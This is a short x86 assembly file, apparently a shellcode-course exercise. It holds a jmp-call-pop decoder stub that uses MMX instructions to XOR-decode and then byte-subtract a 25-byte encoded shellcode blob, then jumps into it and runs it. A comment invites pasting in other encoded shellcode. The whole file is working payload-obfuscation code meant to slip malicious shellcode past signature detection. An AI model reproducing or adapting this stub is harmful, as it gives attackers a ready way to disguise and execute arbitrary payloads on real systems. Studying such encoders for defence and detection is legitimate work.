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global _start
section .text
_start:
jmp short call_decoder
decoder1:
pop edi ;"edi" now points to "xor_value"
lea esi, [edi +16] ;"esi" now points to "Shellcode"
xor ecx, ecx
mov cl, 4 ;Size of our shellcode is 25|"qword" operates 8bytes ata time hence 4*8=32|"loop" 4 times
XOR_decode:
movq mm0, qword [edi] ;move 8bytes of "xor_value" to mm0
movq mm1, qword [esi] ;move 8bytes of "Shellcode" to mm1
pxor mm0, mm1 ;Perform XOR operation
movq qword [esi], mm0 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop XOR_decode ;loop 4 times
decoder2:
lea edi, [edi +8] ;"edi" now points to "rot_value"
lea esi, [edi +8] ;"esi" now points to "Shellcode"|"Shellcode" contains previous XOR'ed results
xor ecx, ecx
mov cl, 4 ;"loop" 4 times
ROT_decode:
movq mm2, qword [edi] ;move 8bytes of "rot_value" to mm2
movq mm3, qword [esi] ;move 8bytes of "Shellcode" to mm3
psubb mm3, mm2 ;Subtract 13 from "Shellcode"
movq qword [esi], mm3 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop ROT_decode ;"loop" 4 times
jmp short Shellcode ;Execute decoded shellcode
call_decoder:
call decoder1
xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
rot_value: db 13, 13, 13, 13, 13, 13, 13, 13
;Paste your Encoded shellcode below
Shellcode: db 0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27
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